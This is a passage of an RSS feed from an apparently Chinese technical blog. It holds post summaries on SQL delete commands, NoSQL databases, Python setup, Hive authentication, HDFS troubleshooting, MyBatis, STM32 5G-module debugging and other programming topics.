      <description> 一、SQL中的语法&#xA;1、drop table 表名称 eg: drop table dbo.Sys_Test&#xA;2、truncate table 表名称 eg: truncate table dbo.Sys_Test 3、delete from 表名称 where 列名称 = 值 eg: delete from dbo.Sys_Test where test=&#39;test&#39;&#xA;二、drop，truncate，delete区别&#xA;1、drop (删除表)：删除内容和定义，释放空间。简单来说就是把整个表去掉.以后要新增数据是不可能的,除非新增一个表。&#xA;drop语句将删除表的结构被依赖的约束（constrain),触发器（trigger)索引（index);依赖于该表的存储过程/函数将被保留，但其状态会变为：invalid。&#xA;2、truncate (清空表中的数据)：删除内容、释放空间但不删除定义(保留表的数据结构)。与drop不同的是,只是清空表数据而已。&#xA;注意:truncate 不能删除行数据,要删就要把表清空。&#xA;3、delete (删除表中的数据)：delete 语句用于删除表中的行。delete语句执行删除的过程是每次从表中删除一行，并且同时将该行的删除操作作为事务记录在日志中保存&#xA;以便进行进行回滚操作。&#xA;truncate与不带where的delete ：只删除数据，而不删除表的结构（定义）&#xA;4、truncate table 删除表中的所有行，但表结构及其列、约束、索引等保持不变。新行标识所用的计数值重置为该列的种子。如果想保留标识计数值，请改用delete。&#xA;如果要删除表定义及其数据，请使用 drop table 语句。 5、对于由foreign key约束引用的表，不能使用truncate table ，而应使用不带where子句的delete语句。由于truncate table 记录在日志中，所以它不能激活触发器。&#xA;6、执行速度，一般来说: drop&amp;gt; truncate &amp;gt; delete。&#xA;7、delete语句是数据库操作语言(dml)，这个操作会放到 rollback segement 中，事务提交之后才生效；如果有相应的 trigger，执行的时候将被触发。&#xA;truncate、drop 是数据库定义语言(ddl)，操作立即生效，原数据不放到 rollback segment 中，不能回滚，操作不触发 trigger。 </description>
    </item>
    <item>
      <title>非关系型数据库</title>
      <link>https://bchobby.github.io/posts/d6f2b17f5685f6601ca814dd47f144d8/</link>
      <pubDate>Fri, 17 Mar 2023 23:32:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6f2b17f5685f6601ca814dd47f144d8/</guid>
      <description>一、什么是非关系型数据库？&#xA;随着互联网的飞速发展，人们对数据存储和管理的需求越来越高，传统的关系型数据库遇到了越来越多的挑战。为了满足海量数据存储和高性能查询的需求，非关系型数据库（NoSQL）应运而生。&#xA;非关系型数据库是指不使用关系模型进行数据组织和存储的数据库系统，它们可以采用其他数据结构来存储数据，如文档、键值对、图等，可以支持更加灵活的数据结构，具有高性能、可扩展性、可靠性和高可用性等优点。&#xA;二、常见的非关系型数据库管理系统&#xA;MongoDB MongoDB是目前最流行的非关系型数据库之一，采用文档存储方式，数据以 BSON（二进制的 JSON）格式存储，支持动态查询、索引、负载均衡和自动故障转移等功能，特别适合于大规模数据存储和高并发读写操作。&#xA;Cassandra Cassandra是一个开源的分布式数据库管理系统，采用分布式哈希表来存储数据，支持多数据中心复制、故障自动转移和高可用性等功能，特别适合于分布式数据存储和实时数据处理。&#xA;Redis Redis是一种基于内存的非关系型数据库管理系统，支持数据结构灵活、读写性能高和数据持久化等特性，特别适合于缓存和实时数据处理。&#xA;Neo4j Neo4j是一个基于图结构的非关系型数据库管理系统，支持高性能的图查询和遍历，特别适合于网络关系分析和社交网络应用。&#xA;Couchbase Couchbase是一个分布式的键值对和文档数据库管理系统，支持高性能、可扩展性和高可用性等特性，特别适合于大规模数据存储和高并发读写操作。&#xA;三、非关系型数据库的特性和优点&#xA;高性能和可扩展性 非关系型数据库采用不同的存储结构和算法，可以实现高性能和可扩展性的数据存储和查询，能够满足大规模数据存储和高并发读写操作的需求。&#xA;数据结构灵活和可定制 非关系型数据库可以支持各种数据结构和存储方式，能够满足不同业务场景和数据处理需求，具有高度的灵活性和可定制性。&#xA;高可用性和自动故障转移 非关系型数据库可以实现数据的多副本复制和自动故障转移&#xA;，能够提高数据的可用性和容错性，避免数据的单点故障和系统的宕机。&#xA;易于水平扩展和分布式部署 非关系型数据库可以采用分布式部署架构，支持数据的水平扩展，能够平滑地应对数据规模的增长和用户访问量的提高。&#xA;适用于大数据和实时处理 非关系型数据库可以适用于大数据和实时处理场景，能够满足海量数据的存储和实时查询需求，支持流式数据处理和实时计算。&#xA;在实际应用中，非关系型数据库主要应用于以下场景：&#xA;大数据存储和分析 随着数据规模的不断增大，关系型数据库在大数据存储和分析方面面临着很多挑战。非关系型数据库可以采用分布式存储和计算技术，支持大数据的存储和分析，能够提高数据的处理速度和效率。&#xA;实时数据处理和计算 随着数据处理需求的不断增加，实时数据处理和计算的需求也越来越高。非关系型数据库可以支持流式数据处理和实时计算，能够满足实时数据处理和计算的需求。&#xA;高并发访问和读写操作 对于高并发访问和读写操作的应用场景，非关系型数据库可以提供高性能和可扩展性的数据存储和查询服务，能够满足高并发访问和读写操作的需求。&#xA;常见的非关系型数据库管理系统(NoSQL)包括：&#xA;MongoDB MongoDB是一种面向文档的数据库管理系统，采用BSON格式存储文档数据，支持多种数据结构和索引方式，适用于海量文档数据的存储和查询。&#xA;Cassandra Cassandra是一种分布式的键值存储系统，采用无中心节点的架构，支持数据的多副本复制和自动故障转移，适用于大规模数据存储和高并发读写操作。&#xA;Redis Redis是一种高性能的键值存储系统，支持多种数据结构和事务操作，适用于实时数据处理和计算等场景。&#xA;以下是一个使用MongoDB数据库的示例代码，演示了如何连接数据库、创建集合、插入数据和查询数据等操作：&#xA;# 导入MongoDB模块 import pymongo # 连接MongoDB数据库 client = pymongo.MongoClient(&#34;mongodb://localhost:27017/&#34;) # 创建数据库 mydb = client[&#34;mydatabase&#34;] # 创建集合 mycol = mydb[&#34;customers&#34;] # 插入数据 mydict = { &#34;name&#34;: &#34;John&#34;, &#34;</description>
    </item>
    <item>
      <title>初学者想入门python，首先要学会如何安装配置开发环境，一文教你轻松搭好环境</title>
      <link>https://bchobby.github.io/posts/d1689a4ba3579c481eadcd7ddd8cc743/</link>
      <pubDate>Fri, 17 Mar 2023 20:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1689a4ba3579c481eadcd7ddd8cc743/</guid>
      <description>Python 是一种流行的编程语言，具有简单易学、功能强大和广泛的应用程序支持的优点。安装和配置 Python 环境是使用这种语言的第一步，也是学习编程的关键。如果您是一个新手程序员，想要学习 Python，但不知道如何开始，那么本篇文章将会是您的良师益友。&#xA;本篇文章旨在帮助新手学习如何安装和配置 Python 开发环境，从而能够顺利开始 Python 编程。在本文中，将为读者提供逐步指导，让他们能够在自己的计算机上安装和配置 Python 环境，无需任何先前的经验。&#xA;1. 下载 Python 安装程序&#xA;首先，我们需要从 Python 官方网站下载适用于您计算机操作系统的 Python 安装程序。访问以下网址：https://www.python.org/downloads/，然后单击页面中的“Download Python”按钮。选择最新版本的 Python 3，然后下载适用于您的操作系统的安装程序。&#xA;2. 运行安装程序&#xA;安装程序下载完成后，双击运行该程序。在安装向导的第一个窗口中，您需要选择“Add Python to PATH”选项。这将使您能够在命令行中运行 Python 解释器，并使用“pip”命令来安装 Python 模块。&#xA;接下来，您可以接受默认设置，并继续执行安装向导。在安装程序运行过程中，您可以选择安装其他组件，例如 Python 文档和示例程序。当安装程序运行完毕时，您将获得 Python 安装完成的消息。&#xA;3. 测试 Python 安装&#xA;为确保 Python 安装成功，我们可以使用以下命令在命令行中检查 Python 版本：&#xA;python --version 如果 Python 安装正确，则命令行应该输出 Python 的版本号。例如：&#xA;Python 3.9.5 4. 安装集成开发环境（IDE）&#xA;Python 集成开发环境（IDE）是一个可视化工具，可帮助您更轻松地编写、测试和调试 Python 代码。有很多 Python IDE 供您选择，其中一些最受欢迎的 IDE 包括 PyCharm、Visual Studio Code 和 Spyder。在本文中，我们将介绍 PyCharm 的安装和配置。</description>
    </item>
    <item>
      <title>操作系统第二章课后习题答案</title>
      <link>https://bchobby.github.io/posts/543f587ed23fdaff014db535bd1ae421/</link>
      <pubDate>Fri, 17 Mar 2023 19:17:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/543f587ed23fdaff014db535bd1ae421/</guid>
      <description>第一题：什么是前趋图？为什么要引入前趋图？&#xA;前趋图（Precedence Graph）是一个有向无循环图，用于描述进程之间执行的前后关系。&#xA;第二题：画出下面四条语句的前趋图：&#xA;第三题：什么程序并发执行会产生间断性特征？&#xA;时许并发执行是，由于它们共享系统资源，为完成同一项任务需要相互合作，只是这些并发执行的进程之间，形成了相互制约关系，从而是的进程再执行期间出现间断性。&#xA;第四题：程序并发执行时为什么会失去封闭性和可再线性？&#xA;程序并发执行时，多个程序共享系统中的各种资源，因而这些资源的状态有多个程序改变，致使程序失去了封闭性，也会导致其失去可再线性。&#xA;第五题：在操作系统中为什么要引入进程概念？它会产生什么样的影响？&#xA;为了使程序再多道程序环境下能并发执行，并对并发执行的程序将以控制加以控制和加以描述，在操作系统中引起了进程概念。</description>
    </item>
    <item>
      <title>hive配置用户名密码</title>
      <link>https://bchobby.github.io/posts/fab29d61378c583c18653af521f3fa1b/</link>
      <pubDate>Fri, 17 Mar 2023 18:31:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fab29d61378c583c18653af521f3fa1b/</guid>
      <description>Hive配置用户名和密码 新建maven项目，编写如下代码，打成jar包： pom.xml&#xA;&amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.hive&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hive-jdbc&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.1.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; CustomPasswdAuthenticator类：&#xA;import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.hive.conf.HiveConf; import org.slf4j.Logger; import javax.security.sasl.AuthenticationException; public class CustomPasswdAuthenticator implements org.apache.hive.service.auth.PasswdAuthenticationProvider{ private Logger LOG = org.slf4j.LoggerFactory.getLogger(CustomPasswdAuthenticator.class); private static final String HIVE_JDBC_PASSWD_AUTH_PREFIX=&#34;hive.jdbc_passwd.auth.%s&#34;; private Configuration conf=null; @Override public void Authenticate(String userName, String passwd) throws AuthenticationException { LOG.info(&#34;Hive2 login info... user: &#34;+ userName +&#34; is trying login.&#34;); String passwdConf = getConf().get(String.format(HIVE_JDBC_PASSWD_AUTH_PREFIX, userName)); if(passwdConf==null){ String message = &#34;Hive2 login error! Configration null.</description>
    </item>
    <item>
      <title>常见HDFS服务级异常及处理方法</title>
      <link>https://bchobby.github.io/posts/3b85ab4ac662d4ffb75061b123bb6356/</link>
      <pubDate>Fri, 17 Mar 2023 17:50:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b85ab4ac662d4ffb75061b123bb6356/</guid>
      <description>HDFS editlog 损坏导致NameNode故障 现象描述 集群节点断电后恢复或者磁盘满扩容后，NameNode启动失败。&#xA;可能原因 JournalNode editlog文件损坏，各个JournalNode节点上数据不一致。&#xA;排查思路 查看NameNode日志，报错如下：2019-06-27 17:30:23,434 | FATAL | IPC Server handler 6 on 25006 | Error: recoverUnfinalizedSegments failed for required journal (JournalAndStream(mgr=QJM to [192.169.1.166:25012, 192.168.1.204:25012, 192.168.1.239:25012], stream=null)) | JournalSet.java:396 java.io.IOException: Timed out waiting 120000ms for a quorum of nodes to respond. at org.apache.hadoop.hdfs.qjournal.client.AsyncLoggerSet.waitForWriteQuorum(AsyncLoggerSet.java:138) at org.apache.hadoop.hdfs.qjournal.client.QuorumJournalManager.createNewUniqueEpoch(QuorumJournalManager.java:223) at org.apache.hadoop.hdfs.qjournal.client.QuorumJournalManager.recoverUnfinalizedSegments(QuorumJournalManager.java:459) at org.apache.hadoop.hdfs.server.namenode.JournalSet$6.apply(JournalSet.java:622) at org.apache.hadoop.hdfs.server.namenode.JournalSet.mapJournalsAndReportErrors(JournalSet.java:391) at org.apache.hadoop.hdfs.server.namenode.JournalSet.recoverUnfinalizedSegments(JournalSet.java:619) at org.apache.hadoop.hdfs.server.namenode.FSEditLog.recoverUnclosedStreams(FSEditLog.java:1611) at org.apache.hadoop.hdfs.server.namenode.FSNamesystem.startActiveServices(FSNamesystem.java:1231) at org.apache.hadoop.hdfs.server.namenode.NameNode$NameNodeHAContext.startActiveServices(NameNode.java:1925) at org.apache.hadoop.hdfs.server.namenode.ha.ActiveState.enterState(ActiveState.java:61) at org.apache.hadoop.hdfs.server.namenode.ha.HAState.setStateInternal(HAState.java:65) at org.</description>
    </item>
    <item>
      <title>echarts改变图例legend字体的颜色</title>
      <link>https://bchobby.github.io/posts/066c33a0d51ece40a7c0291e9e292b19/</link>
      <pubDate>Fri, 17 Mar 2023 11:56:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/066c33a0d51ece40a7c0291e9e292b19/</guid>
      <description>设置rich的字体颜色&#xA;定义数组 legendRich ，循环colors设置rich的字体颜色&#xA;注意：option 中legend中------&amp;gt;formatter -----&amp;gt;datas.map((item, index){}&#xA;let datas = [ { value: 10, name: &#39;可燃气体&#39;, percent: &#39;10&#39; }, { value: 10, name: &#39;有毒气体&#39;, percent: &#39;40&#39; }, { value: 4, name: &#39;高温煤&#39;, percent: &#39;30&#39; }, { value: 5, name: &#39;高温气&#39;, percent: &#39;20&#39; } ] var colors = [&#39;#00c6ff&#39;, &#39;#16f0a4&#39;, &#39;#ffe400&#39;, &#39;#ff9125&#39;] let legendData = [] for (var j = 0; j &amp;lt; datas.length; j++) { var data = { name: datas[j].</description>
    </item>
    <item>
      <title>Mybatis的CRUD操作</title>
      <link>https://bchobby.github.io/posts/36fc0edb851eb6ddd08cfb90fabc4e79/</link>
      <pubDate>Fri, 17 Mar 2023 10:19:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36fc0edb851eb6ddd08cfb90fabc4e79/</guid>
      <description>1. select select标签是mybatis中最常用的标签之一select语句有很多属性可以详细配置每一条SQL语句 id 命名空间中唯一的标识符接口中的方法名与映射文件中的SQL语句ID 一一对应 parameterType 传入SQL语句的参数类型 。【万能的Map，可以多尝试使用】 resultType SQL语句返回值类型。【完整的类名或者别名】 案例: 根据id查询用户&#xA;在UserMapper中添加方法: public interface UserMapper { List&amp;lt;User&amp;gt; getUserList(); //根据id查询用户 User findById(@Param(&#34;id&#34;) int id); } 在UserMapper.xml中添加Select语句 &amp;lt;select id=&#34;findById&#34; resultType=&#34;com.ljs.mybatis.pojo.User&#34;&amp;gt; select * from user where id=#{id} &amp;lt;/select&amp;gt; 测试类中测试 @Test&#x9;public void getUserById() { SqlSession session = MybatisUtils.getSessionFactory(); UserMapper mapper = session.getMapper(UserMapper.class); User user = mapper.findById(1); System.out.println(user); } 可以根据 密码 和 名字 查询用户&#xA;思路一：直接在方法中传递参数 在接口方法的参数前加 @Param属性Sql语句编写的时候，直接取@Param中设置的值即可，不需要单独设置参数类型 User findByNameAndPwd(@Param(&#34;name&#34;) String name, @Param(&#34;</description>
    </item>
    <item>
      <title>使用STM32F767驱动中移F02X5G模块中遇到的一些坑</title>
      <link>https://bchobby.github.io/posts/baa95a6083ce34325703d20cbb48d3b7/</link>
      <pubDate>Fri, 17 Mar 2023 09:31:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/baa95a6083ce34325703d20cbb48d3b7/</guid>
      <description>出于某种原因，导师要我用stm32F7来驱动5G模块。说实话这真的是吃力不讨好，单片机根本无法利用5G那么快的速度，官方给的程序只有Linux和windows的驱动，其他一点资料都没有。磨了两个月终于给磨出来了，虽然用的是USB Full Speed和速度受限的ppp通信，但好歹成功连上了。这期间遇到的坑实在是太多太多了，在这记录一下。博主是纯新手，轻喷。&#xA;模块只支持通过USB传输数据，鼓捣了一段时间确定是使用USB CDC。好在官方有STM32_USB-Host-Device_Lib库，在找不到CDC Host的教程（网上都是Device的）的情况下，只能硬着头皮上去看资料读代码。&#xA;使用库里面的例程，先后遇到了许多坑。&#xA;1.描述符不对应。这很正常，毕竟是厂商定制的模块，而模块的设备描述符我是完全不知道的。好在厂商提供了windows的驱动，最后在windows上使用USBView软件，成功找到了该设备的所有描述符。然后进程序里面的枚举部分USBH_HandleEnum(USB_OTG_CORE_HANDLE *pdev, USBH_HOST *phost)&#xA;修改对应的条件判断。&#xA;（其实单片机就算描述符不对应报错也能正确读取设备所有描述符，打印出来对着改就行）&#xA;2.获取linecoding失败。&#xA;设备没有返回，直接手动设置波特率等内容。&#xA;3.能够收发AT指令后，ATD*99***1#返回ERROR&#xA;对比了linux的收发数据后确定是在lincoding阶段少发送了一个CDC_SET_CONTROL_LINE_STATE_REQUEST&#xA;这是对usb模拟串口握手协议支持（RTS/CTS）的设置，少了就不行。&#xA;4.进行LCP握手时从机应答不正确。&#xA;这个搞了老久了，最后动用了逻辑分析仪才找到原因。我在程序中显示发送数据的代码（printf）是写在output回调函数中。而发送的数据在这之后到真正发送（CDC_ProcessTransmission）之前被改变了。应该吧printf的代码放在CDC_ProcessTransmission内的USBH_BulkSendData前才能看到正确的发送数据。这里出错的原因是LWIP发送某两个包的时间间隔极短，导致包A被提供到USB线程还未发送完成前，LWIP准备完包B就覆盖了包A。在output时会判断usb发送是否busy，这里就当然busy直接丢弃。但是，由于我在output回调中直接将data指针传入了USB线程，导致LWIP线程准备完B写入data后，一路跟着usb内将发送的数据也被修改了。解决办法很简单，自己建立一个buffer，中间拷贝一下就OK了。&#xA;5.LCP握手完毕，接受IPCP报文时只能接受到前五个字节。&#xA;这个也是动用逻辑分析仪才找到原因。确认模块发送了完整的数据，但程序只收了前5个字节。原因是USB在接受数据后，会在buff尾加一个0x00，再提供一个buff头的指针，意思就是要我们提取数据直接从buff头指针到0x00为止。&#xA;在LCP握手时没有出现问题，因为会对数据进行填充，0x00会被填充成7D 20。而进入IPCP后，LWIP程序会解除这个保护，使得IPCP报文中会出现为0的字节（IPCP报文请求IP时会有0.0.0.0的IP地址，所以绝对会有0）所以我之前的到0为止提取数据就出问题了。&#xA;解决办法可以是换一个获取数据的算法（不是到0为止）。&#xA;我是直接进USB的接收程序，不只是buff头，把buff尾-buff头的大小，也就是接收到的包长度也一并发了出来，这样就OK了。&#xA;后面就没啥大问题了，成功获取IP地址，创建TCP客户端连接TCP服务器，一切正常。接下来就是测试功耗速度等内容了。</description>
    </item>
    <item>
      <title>软考高级-系统分析师-案例分析-系统设计</title>
      <link>https://bchobby.github.io/posts/baa3a35a04a581e778e3948570995a42/</link>
      <pubDate>Thu, 16 Mar 2023 22:10:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/baa3a35a04a581e778e3948570995a42/</guid>
      <description>系分-案例分析-系统设计 结构化设计SD内聚（高内聚低耦合）耦合 业务流程建模IDEF（建模仿真） 面向对象的设计OOD设计原则设计模式分类 人机界面设计架构设计Zachman 架构框架Zachman 架构框架（案例） 面向服务的架构SOA微服务微服务（案例） 多层架构轻量级架构MVCMVP 与 MVVMMDA 模型驱动架构系统设计（web结构）Web 架构知识点单台机器 到 数据库与 Web 服务器分离应用服务器集群负载均衡 RedisRedis与Memcache能力比较Redis集群切片的常见方式Redis分布式存储方案Redis数据分片方案Redis数据类型Redis持久化Redis内存淘汰机制Redis常见难题负载均衡技术 静态与动态算法Session 共享机制有状态与无状态持久化技术 ORMCND 内容分发网络XML 与 JSONXMLJSON Web 应用服务器REST响应式 Web 设计中台云计算边缘计算Web 系统分层物联网架构大数据架构案例 - 系统架构（web） 结构化设计SD 内聚（高内聚低耦合） 模块的内聚类型通常可以分为 7 种，根据内聚度从高到低排序：&#xA;内聚类型描 述功能内聚完成一个单一功能，各个部分协同工作，缺一不可。顺序内聚处理元素相关，而且必须顺序执行通信内聚所有处理元素集中在一个数据结构的区域上过程内聚处理元素相关，而且必须按特定的次序执行瞬时内聚所包含的任务必须在同一时间间隔内执行（如初始化模块）逻辑内聚完成逻辑上的相关的一组任务偶然内聚完成一组没有关系或松散关系的任务 耦合 模块的耦合类型通常也分为 7 种，根据耦合度从低到高排序&#xA;耦合类型描 述非直接耦合没有直接联系，互相不依赖对方数据耦合借助参数表传递简单数据标记耦合一个数据结构的一部分借助于模块接口被传递控制耦合模块间传递的信息中包含用于控制模块内部逻辑的信息外部耦合与软件以外的环境有关公共耦合多个模块引用同一个全局数据区内容耦合一个模块访问另一个模块的内部数据，一个模块不通过正常入口转到另一模块的内部；两个模块有一部分程序代码重叠；一个模块有多个入口 业务流程建模 标杆瞄准IDEF（一系列建模、分析和仿真方法的统称）DEMO（组织动态本质建模法）Petri网业务流程建模语言基于服务的BPM IDEF（建模仿真） 列举几个比较常考的&#xA;IDEF0 业务流程（功能）建模IDEF1 信息建模IDEF1X 数据建模（如ER模型）IDEF2 仿真建模设计IDEF4 面向对象设计IDEF12 组织结构建模 面向对象的设计OOD 面向对象设计的基本过程&#xA;设计原则 设计原则描述单一职责原则设计目的单一的类开放-封闭原则对扩展开放，对修改封闭优先使用扩展李氏替换原则子类可以替换父类当重写时就不能替换父类依赖倒置原则要依赖于抽象，而不是具体实现；针对接口编程，不要针对实现编程。接口隔离原则使用多个专门的接口比使用单一的总接口要好组合重用原则要尽量使用组合，而不是继承关系达到重用目的迪米特原则（最小知识法则）一个对象应当对其他对象有尽可能少的了解。 设计模式分类 参考另外一篇文章：&#xA;链接: 软考高级-系统分析师-案例分析-系统维护与设计模式&#xA;人机界面设计 置于用户控制之下&#xA;以不强迫用户进入不必要的或不希望的动作的方式来定义交互方式提供灵活的交互允许用户交互可以被中断和撤销当技术级别增加时可以使交互流水化并允许定制交互使用户隔离内部技术细节设计应允许用户和出现在屏幕上的对象直接交互 减少用户的记忆负担&#xA;减少对短期记忆的要求建立有意义的缺省定义直觉性的捷径界面的视觉布局应该基于真实世界的隐喻以不断进展的方式提示信息 保持界面的一致性</description>
    </item>
    <item>
      <title>OpenGL使用笔记【2】鼠标交互操作</title>
      <link>https://bchobby.github.io/posts/fdde91d5b3393f3de37b18730bade018/</link>
      <pubDate>Thu, 16 Mar 2023 18:24:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fdde91d5b3393f3de37b18730bade018/</guid>
      <description>这个有点难度了。&#xA;glutMouseFunc()函数 这个函数就是关于鼠标点击的调用函数。&#xA;用法：&#xA;添加在main函数中&#xA;顺便再搞一个函数作为鼠标事件判定函数&#xA;int main(int argc, char* argv[]) { glutInit(&amp;amp;argc, argv); glutInitDisplayMode(GL_DOUBLE | GLUT_RGB); glutInitWindowSize(800, 600); glutCreateWindow(&#34;画图&#34;);//创建窗口，设置窗口名称 Reshape(800, 600);//初始化 glutDisplayFunc(drawlines);//绘制 glutMouseFunc(mymouse); glutMainLoop(); return 0; } 例如：&#xA;struct POINT { int x; int y; }; POINT a = { 10,10 }; void mymouse(int button, int state, int x, int y) { if (state == GLUT_DOWN &amp;amp;&amp;amp; button == GLUT_LEFT_BUTTON) { a = { x,hh-y }; glutPostRedisplay(); //这个函数功能是.当你的回调函数处理完键盘事件后,显示函数会自动被调用,屏幕会被重绘。也就是保证了鼠标点击可以重复执行之类的 } } //GLUT_LEFT_BUTTON表示鼠标左键 //GLUT_DOWN表示鼠标右键 以上mymouse函数的意思也就是鼠标左键单击后设置点的坐标</description>
    </item>
    <item>
      <title>【MyBatis SQL 查询总结】</title>
      <link>https://bchobby.github.io/posts/7fc8a9912073f6e66138211714da3197/</link>
      <pubDate>Thu, 16 Mar 2023 16:58:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7fc8a9912073f6e66138211714da3197/</guid>
      <description>目录 一、格式二、查询(1)入参为JSONObject(2)入参为该实体类的查询参数类 三、更新(1)更新单条数据(根据主键id更新)1.传入固定参数更新2.传入map参数更新3.传入可变dto参数更新 (2)批量更新(根据id逻辑删除)1.写法一2.写法二 四、插入(1)固定参数插入(2)可变参数插入 五、其他动态sql的使用（1）where语句和Choose(when,otherwise)（2）set语句（3）Trim（4）foreach语句（5）SQL块（6）Bind（7）if语句（8）模糊查询（9）日期格式化（10）开始结束时间查询（11）更新表中与其他表关联得数据（12）检测sql执行快慢及列表（13）结果为空时进行赋值（14）基本聚合函数（15）直接赋值给某属性（16）可在查询的属性中直接进行加减运算（17）对条件进行判断性添加（18）limit（19）GROUP BY（20）ORDER BY xxx ASC|DESC( 升序|降序) 默认升序 一、格式 SELECT 查询属性 FROM 表名 LEFT JOIN 表名 ON 连接条件 WHERE 查询条件 GROUP BY 分组属性 或分组属性1，分组属性2 ORDER BY 排序属性1，排序属性2 二、查询 (1)入参为JSONObject Mapper&#xA;Xml&#xA;&amp;lt;select id=&#34;getWarningList&#34; resultType=&#34;com.test.vo.WarningVo&#34;&amp;gt; SELECT a.early_warning_id, a.user_id, a.early_warning_status, a.creator, a.receive_time, a.early_warning_mode, a.early_warning_interval, a.receive_mode, a.receive_time_interval_start, a.receive_time_interval_end, a.early_warning_notice, b.nickname, b.account, b.expiration_time FROM early_warning a LEFT JOIN sys_admin b ON a.user_id = b.id where a.status = 1 &amp;lt;if test=&#34;</description>
    </item>
    <item>
      <title>西门子S7-1500PLC常用功能模块分享</title>
      <link>https://bchobby.github.io/posts/553be7ec98c6234e9d04a95f66f117ec/</link>
      <pubDate>Thu, 16 Mar 2023 15:32:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/553be7ec98c6234e9d04a95f66f117ec/</guid>
      <description>西门子S7-1500PLC是专为中高端设备和工厂自动化设计的新一代PLC。该控制器集成了运动控制、工业信息安全和故障安全功能。S7-1500PLC是模块化结构设计的PLC，各个单独模块之间可以进行广泛组合和扩展，它的主要组成部分有电源模块（PM/PS）、中央处理器模块（CPU）、导轨（RACK）、信号模块（SM）、通信模块（CP/CM）和工艺模块（TM）等。&#xA;（1）电源模块（PM/PS）&#xA;用于向CPU以及其扩展模块提供+24V DC电源。&#xA;PM：无背板总线、不占用槽位，无固件版本（类似PS307）&#xA;PS：有背板总线，占用槽位，有固件版本（类似PS407）&#xA;（2）、中央处理器模块（CPU）&#xA;主要包括标准CPU（比如：CPU1511-1PN）&#xA;紧凑型CPU（比如：CPU1512C-1PN）&#xA;分布式模块CPU（比如：CPU1510SP-1PN&#xA;工艺型CPU（比如：CPU1511T-1PN）&#xA;故障安全CPU模块（比如：CPU1511F-1PN）&#xA;通过标红的字母可以区分是什么类型的CPU&#xA;（3）、导轨（RACK）&#xA;是安装S7-1500各类模块的机架，是特制的异形板，标准长度为160/245...2000，可以根据实际选用。S7-300/1200/1500的导轨上无背板总线。但S7-400有背板总线，不可缺少。&#xA;（4）、存储卡（SD）&#xA;用于存储PLC程序，可由PC直接读取，不支持热插拔。50万次读取寿命，最大32GB&#xA;注：S7-300的MMC，PC不能直接读取需用准用读卡器设备。&#xA;（5）、信号模块（SM）&#xA;是数字量I/O模块和模拟量I/O模块的总称。信号模块主要有SM521（数字量输入）、SM522（数字量输出）、混合模块SM523、SM531（模拟量输入）、SM532（模拟量输出）和混合模块SM534。&#xA;基本型：BA&#xA;标准型：ST&#xA;高性能：HF&#xA;（6）、工艺模块（TM）&#xA;主要用于对实时性和存储量要求高的控制任务。&#xA;计数模块（高速输入）：TM Count2&#xA;位置检测模块（高速输入）：TM Poslnput2&#xA;PTO模块（高速输出）：TM PTO&#xA;（7）、通信模块（CP/CM）&#xA;用于PLC之间、PLC与计算机和其他智能设备之间的通信，可将PLC接入以太网、PROFIBUS和AS-I网络，或用于串行通信。它可以减轻CPU处理通信的负担，并减少对通信功能的编程工作。&#xA;主要有两大类：&#xA;PRIFIBUS：CM 1542-5、CP1542-5&#xA;PROFINET：CM 1542-1、CP1543-1&#xA;ET-200分布式外围设备模块&#xA;是西门子基于PRIFIBUS或PROFINET的分布式控制模块，应用很广。&#xA;ET200SP：是一种多功能的按位模块化的分布式I/O系统，体积比较小，要安装在控制柜里。&#xA;ET200MP：是一种多通道的分布式I/O系统，可以使用S7-1500的模块，要安装在控制柜内，广泛使用。&#xA;......&#xA;西门子S7-1500外观设计更人性化，选用时更容易被工程现场人员所接受。S7-1500模块大小比S7-300稍大，机架类似于S7-300，前连接器安装时具有接线位置，并提供专门的电源元件和屏蔽支架及线卡，使接线更方便，可靠性更高；尤其让工程人员心动的是CPU上配置有LED显示屏，可方便显示CPU状态和故障信息等。其次，从硬件方面来说，S7-1500PLC的处理速度更快，联网能力更强，诊断能力和安全性更高，不仅可节省成本，提高生产效率，而且安全可靠，维护简单方便，真正成为工厂客户和现场维护人员的首选控制器。另外，S7-1500 PLC无需使用其它模块即可实现运动控制功能。通过PLCopen 技术，控制器可使用标准组件连接支持PROFIdrive 的各种驱动装置；此外，S7-1500 PLC还支持所有CPU 变量的TRACE 功能，提高了调试效率，优化了驱动和控制器的性能。</description>
    </item>
    <item>
      <title>简单好用的图片取色器【可取RGB数值】</title>
      <link>https://bchobby.github.io/posts/c746337b6c21ec445d25a088d42c5674/</link>
      <pubDate>Thu, 16 Mar 2023 12:46:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c746337b6c21ec445d25a088d42c5674/</guid>
      <description> 前言&#xA;没想到Snipaste除了可以截图，还可以进行取色。可以使用Snipaste来进行颜色的提取。&#xA;使用 步骤&#xA;1、按下快捷键F1，进行截图（可以修改快捷键截图的方式）2、选择要选择的图片区域3、移动鼠标，到目标颜色。自动提示对应颜色的值（可切换为rgb）4、选择要提取的颜色值，按下C复制颜色值。 </description>
    </item>
    <item>
      <title>记一次feign调用异常</title>
      <link>https://bchobby.github.io/posts/cc48ffecda248773f26684d279fbeac1/</link>
      <pubDate>Thu, 16 Mar 2023 09:25:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc48ffecda248773f26684d279fbeac1/</guid>
